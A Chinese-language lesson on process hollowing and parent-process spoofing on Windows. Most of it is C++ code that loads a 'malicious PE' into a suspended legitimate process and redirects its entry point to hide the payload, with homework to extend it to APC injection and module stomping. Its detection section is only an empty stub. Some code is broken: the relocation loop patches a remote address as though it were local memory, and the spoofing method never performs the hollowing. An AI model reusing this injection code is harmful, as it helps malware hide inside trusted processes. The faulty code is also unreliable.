Inject专题

2、劫持进程注入

1、课程目标

  1. 理解进程劫持注入的基本原理
  2. 掌握进程镂空(Process Hollowing)技术
  3. 实现完整的劫持进程注入技术
  4. 了解该技术的检测与防护方法

2、名词解释

术语 全称 解释
Process Hollowing 进程镂空 将合法进程的代码“掏空”并替换为恶意代码的技术
Process Hijacking 进程劫持 控制或接管已有进程执行的技术
CREATE_SUSPENDED - 创建挂起状态进程的标志
NtUnmapViewOfSection - 解除内存区域映射的Native API
ImageBase - PE文件在内存中的首选加载基址

3、技术原理

1. 进程劫持注入概述

进程劫持注入是一种高级的代码注入技术,通过替换合法进程的内存映像来执行恶意代码。这种技术比传统的远程线程注入更加隐蔽,因为它完全替换了目标进程的原始代码。

进程镂空流程:
┌─────────────────────────────────────────────────────────────┐
│                    注入者进程                              │
│  1. CreateProcess() 创建挂起状态的目标进程                  │
├─────────────────────────────────────────────────────────────┤
│  2. 获取目标进程句柄和主线程句柄                            │
├─────────────────────────────────────────────────────────────┤
│  3. 读取恶意PE文件到内存                                    │
├─────────────────────────────────────────────────────────────┤
│  4. 解除目标进程的内存映射(NtUnmapViewOfSection)            │
├─────────────────────────────────────────────────────────────┤
│  5. 在目标进程中分配新内存并写入恶意PE                     │
├─────────────────────────────────────────────────────────────┤
│  6. 修改线程上下文,设置新的入口点                         │
├─────────────────────────────────────────────────────────────┤
│  7. 恢复线程执行(ResumeThread)                             │
└─────────────────────────────────────────────────────────────┘

目标进程:
┌─────────────────────────────────────────────────────────────┐
│  8. 开始执行恶意PE文件,原始进程代码被完全替换              │
└─────────────────────────────────────────────────────────────┘

2. 进程镂空 vs 远程线程注入

特性 进程镂空 远程线程注入
原始代码 完全替换 保留原始代码
内存布局 恶意PE完整映射 仅注入ShellCode
复杂度
隐蔽性
PE重定位 需要处理 不需要

3. 核心技术要点

3.1 挂起进程创建

使用CREATE_SUSPENDED标志创建进程,此时进程尚未开始执行任何代码。

3.2 内存解映射

使用NtUnmapViewOfSection解除目标进程的内存映射,为注入新代码腾出空间。

3.3 PE文件重定位

处理恶意PE文件的重定位表,确保其能在目标进程中正确加载。

3.4 线程上下文修改

修改主线程的上下文寄存器(EIP/RIP),将其指向新的入口点。

4、代码实现

1. 基础进程镂空实现

// process_hollowing.cpp
// 进程镂空实现

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

// 定义未导出的API
typedef NTSTATUS (NTAPI *pfnNtUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID BaseAddress
);

//=============================================================================
// 方法1: 基础进程镂空
//=============================================================================
BOOL BasicProcessHollowing(LPCWSTR targetExe, LPCSTR maliciousPePath) {
    printf("[*] Method 1: Basic Process Hollowing\n");
    printf("[*] Target executable: %ws\n", targetExe);
    printf("[*] Malicious PE: %s\n", maliciousPePath);
    
    // 1. 读取恶意PE文件
    HANDLE hFile = CreateFileA(
        maliciousPePath,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open malicious PE file\n");
        return FALSE;
    }
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID peBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
    
    if (!peBuffer) {
        CloseHandle(hFile);
        return FALSE;
    }
    
    DWORD bytesRead;
    ReadFile(hFile, peBuffer, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);
    
    printf("[+] Read %lu bytes from malicious PE\n", bytesRead);
    
    // 2. 创建挂起状态的目标进程
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    
    if (!CreateProcessW(
            targetExe,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_SUSPENDED,
            NULL,
            NULL,
            &si,
            &pi)) {
        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, peBuffer);
        return FALSE;
    }
    
    printf("[+] Created suspended process: PID=%lu\n", pi.dwProcessId);
    
    // 3. 获取NtUnmapViewOfSection地址
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pfnNtUnmapViewOfSection pNtUnmapViewOfSection = 
        (pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    
    if (!pNtUnmapViewOfSection) {
        printf("[-] Failed to get NtUnmapViewOfSection address\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        HeapFree(GetProcessHeap(), 0, peBuffer);
        return FALSE;
    }
    
    // 4. 解除目标进程的内存映射
    NTSTATUS status = pNtUnmapViewOfSection(pi.hProcess, (PVOID)0x400000); // 假设基址
    if (status != 0) {
        printf("[-] NtUnmapViewOfSection failed: 0x%08X\n", status);
        // 继续执行,因为基址可能不同
    }
    
    // 5. 解析恶意PE文件头
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)peBuffer + dosHeader->e_lfanew);
    
    // 6. 在目标进程中分配内存
    LPVOID remoteImage = VirtualAllocEx(
        pi.hProcess,
        (LPVOID)ntHeaders->OptionalHeader.ImageBase,
        ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    // 如果首选基址不可用,分配到任意地址
    if (!remoteImage) {
        remoteImage = VirtualAllocEx(
            pi.hProcess,
            NULL,
            ntHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
        );
    }
    
    if (!remoteImage) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        HeapFree(GetProcessHeap(), 0, peBuffer);
        return FALSE;
    }
    
    printf("[+] Allocated remote memory at: %p\n", remoteImage);
    
    // 7. 写入PE头部
    WriteProcessMemory(
        pi.hProcess,
        remoteImage,
        peBuffer,
        ntHeaders->OptionalHeader.SizeOfHeaders,
        NULL
    );
    
    // 8. 写入各个节区
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(
            pi.hProcess,
            (LPVOID)((LPBYTE)remoteImage + sectionHeader[i].VirtualAddress),
            (LPVOID)((LPBYTE)peBuffer + sectionHeader[i].PointerToRawData),
            sectionHeader[i].SizeOfRawData,
            NULL
        );
    }
    
    // 9. 获取线程上下文
    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_FULL;
    
    if (!GetThreadContext(pi.hThread, &context)) {
        printf("[-] GetThreadContext failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        HeapFree(GetProcessHeap(), 0, peBuffer);
        return FALSE;
    }
    
    // 10. 修改入口点
#ifdef _WIN64
    context.Rcx = (DWORD64)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#else
    context.Eax = (DWORD)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#endif
    
    if (!SetThreadContext(pi.hThread, &context)) {
        printf("[-] SetThreadContext failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        HeapFree(GetProcessHeap(), 0, peBuffer);
        return FALSE;
    }
    
    printf("[+] Modified thread context, new entry point: %p\n", 
           (LPBYTE)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    
    // 11. 恢复线程执行
    ResumeThread(pi.hThread);
    
    printf("[+] Process hollowing completed successfully\n");
    
    // 12. 清理资源
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    HeapFree(GetProcessHeap(), 0, peBuffer);
    
    return TRUE;
}

//=============================================================================
// 方法2: 改进的进程镂空(处理重定位)
//=============================================================================
BOOL AdvancedProcessHollowing(LPCWSTR targetExe, LPCSTR maliciousPePath) {
    printf("[*] Method 2: Advanced Process Hollowing with Relocation\n");
    
    // 1. 读取恶意PE文件(同上)
    HANDLE hFile = CreateFileA(
        maliciousPePath,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    
    if (hFile == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID peBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
    
    if (!peBuffer) {
        CloseHandle(hFile);
        return FALSE;
    }
    
    DWORD bytesRead;
    ReadFile(hFile, peBuffer, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);
    
    // 2. 创建挂起进程(同上)
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    
    if (!CreateProcessW(
            targetExe,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_SUSPENDED,
            NULL,
            NULL,
            &si,
            &pi)) {
        HeapFree(GetProcessHeap(), 0, peBuffer);
        return FALSE;
    }
    
    // 3. 解析PE结构
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)peBuffer + dosHeader->e_lfanew);
    
    // 4. 分配内存
    LPVOID remoteImage = VirtualAllocEx(
        pi.hProcess,
        (LPVOID)ntHeaders->OptionalHeader.ImageBase,
        ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    // 处理基址冲突
    DWORD64 actualBase = (DWORD64)remoteImage;
    DWORD64 preferredBase = ntHeaders->OptionalHeader.ImageBase;
    
    // 5. 写入PE数据(同上)
    WriteProcessMemory(pi.hProcess, remoteImage, peBuffer, 
                       ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
    
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(
            pi.hProcess,
            (LPVOID)((LPBYTE)remoteImage + sectionHeader[i].VirtualAddress),
            (LPVOID)((LPBYTE)peBuffer + sectionHeader[i].PointerToRawData),
            sectionHeader[i].SizeOfRawData,
            NULL
        );
    }
    
    // 6. 处理重定位(如果基址发生变化)
    if (actualBase != preferredBase) {
        printf("[*] Performing relocation due to base address change\n");
        
        // 查找重定位表
        PIMAGE_DATA_DIRECTORY relocDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (relocDir->Size > 0) {
            PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)peBuffer + relocDir->VirtualAddress);
            
            while (reloc->VirtualAddress > 0) {
                DWORD numEntries = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                PWORD relocData = (PWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
                
                for (DWORD i = 0; i < numEntries; i++) {
                    if (relocData[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) {
                        DWORD* patchAddr = (DWORD*)((LPBYTE)remoteImage + reloc->VirtualAddress + (relocData[i] & 0xFFF));
                        DWORD originalValue = *patchAddr;
                        *patchAddr = originalValue - (DWORD)preferredBase + (DWORD)actualBase;
                    }
                }
                
                reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
            }
        }
    }
    
    // 7. 修改入口点并恢复执行(同上)
    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &context);
    
#ifdef _WIN64
    context.Rcx = actualBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#else
    context.Eax = (DWORD)actualBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
#endif
    
    SetThreadContext(pi.hThread, &context);
    ResumeThread(pi.hThread);
    
    printf("[+] Advanced process hollowing completed\n");
    
    // 8. 清理
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    HeapFree(GetProcessHeap(), 0, peBuffer);
    
    return TRUE;
}

2. 父进程伪装结合进程镂空

//=============================================================================
// 方法3: 父进程伪装 + 进程镂空
//=============================================================================
BOOL ProcessHollowingWithParentSpoofing(LPCWSTR targetExe, LPCSTR maliciousPePath, LPCWSTR parentProcessName) {
    printf("[*] Method 3: Process Hollowing with Parent Spoofing\n");
    
    // 1. 获取父进程PID
    DWORD parentPid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W pe = { sizeof(pe) };
        if (Process32FirstW(hSnapshot, &pe)) {
            do {
                if (_wcsicmp(pe.szExeFile, parentProcessName) == 0) {
                    parentPid = pe.th32ProcessID;
                    break;
                }
            } while (Process32NextW(hSnapshot, &pe));
        }
        CloseHandle(hSnapshot);
    }
    
    if (parentPid == 0) {
        printf("[-] Parent process not found: %ws\n", parentProcessName);
        return FALSE;
    }
    
    printf("[+] Found parent process PID: %lu\n", parentPid);
    
    // 2. 打开父进程句柄
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
    if (!hParent) {
        printf("[-] Failed to open parent process: %lu\n", GetLastError());
        return FALSE;
    }
    
    // 3. 设置进程属性列表
    SIZE_T attributeListSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize);
    
    LPPROC_THREAD_ATTRIBUTE_LIST attributeList = 
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeListSize);
    
    if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize)) {
        CloseHandle(hParent);
        HeapFree(GetProcessHeap(), 0, attributeList);
        return FALSE;
    }
    
    if (!UpdateProcThreadAttribute(
            attributeList,
            0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
            &hParent,
            sizeof(HANDLE),
            NULL,
            NULL)) {
        DeleteProcThreadAttributeList(attributeList);
        CloseHandle(hParent);
        HeapFree(GetProcessHeap(), 0, attributeList);
        return FALSE;
    }
    
    // 4. 创建带有父进程伪装的挂起进程
    STARTUPINFOEXW si = { sizeof(si) };
    si.lpAttributeList = attributeList;
    
    PROCESS_INFORMATION pi = { 0 };
    
    if (!CreateProcessW(
            targetExe,
            NULL,
            NULL,
            NULL,
            FALSE,
            EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
            NULL,
            NULL,
            (LPSTARTUPINFOW)&si,
            &pi)) {
        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
        DeleteProcThreadAttributeList(attributeList);
        CloseHandle(hParent);
        HeapFree(GetProcessHeap(), 0, attributeList);
        return FALSE;
    }
    
    printf("[+] Created suspended process with spoofed parent\n");
    
    // 5. 执行进程镂空(简化版本)
    // 这里可以调用前面实现的镂空函数
    // 为简化,这里只演示流程
    
    // 6. 清理
    DeleteProcThreadAttributeList(attributeList);
    CloseHandle(hParent);
    HeapFree(GetProcessHeap(), 0, attributeList);
    
    // 恢复执行
    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    printf("[+] Process hollowing with parent spoofing completed\n");
    
    return TRUE;
}

3、检测与防护

1. 常见检测方法

检测方式 原理 绕过难度
进程创建监控 监控CreateProcess调用及其参数
父进程验证 验证进程的父进程是否合理
内存完整性检查 检查进程映像是否被修改
线程上下文监控 监控异常的线程上下文修改

2. 防护措施

// 进程防护示例
#include <windows.h>
#include <psapi.h>

// 检测进程镂空
BOOL DetectProcessHollowing() {
    // 获取当前进程映像基址
    HMODULE hModule = GetModuleHandle(NULL);
    
    // 获取磁盘上的PE文件信息
    CHAR exePath[MAX_PATH];
    GetModuleFileNameA(hModule, exePath, MAX_PATH);
    
    // 读取磁盘上的PE文件
    HANDLE hFile = CreateFileA(
        exePath,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    
    if (hFile == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID diskPe = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
    ReadFile(hFile, diskPe, fileSize, &fileSize, NULL);
    CloseHandle(hFile);
    
    // 比较内存中的PE和磁盘上的PE
    // 这里简化处理,实际需要比较重要节区
    
    HeapFree(GetProcessHeap(), 0, diskPe);
    
    return FALSE; // 简化实现
}

3、课后作业

3.1、作业1:实现完整的PE重定位

完善代码中的重定位处理部分,确保恶意PE能在任意基址正确加载。

3.2、作业2:添加APC注入方式

结合APC注入技术,实现另一种进程劫持方式。

3.3、作业3:实现模块镂空

研究并实现模块镂空(Module Stomping)技术,替换已加载DLL的代码段。

4、参考资料

  1. Windows Internals, Part 1: System architecture, processes, threads, memory management
  2. 《恶意代码分析实战》- Michael Sikorski & Andrew Honig
  3. 《The Rootkit Arsenal》- Bill Blunden
  4. MSDN文档: CreateProcess, VirtualAllocEx, SetThreadContext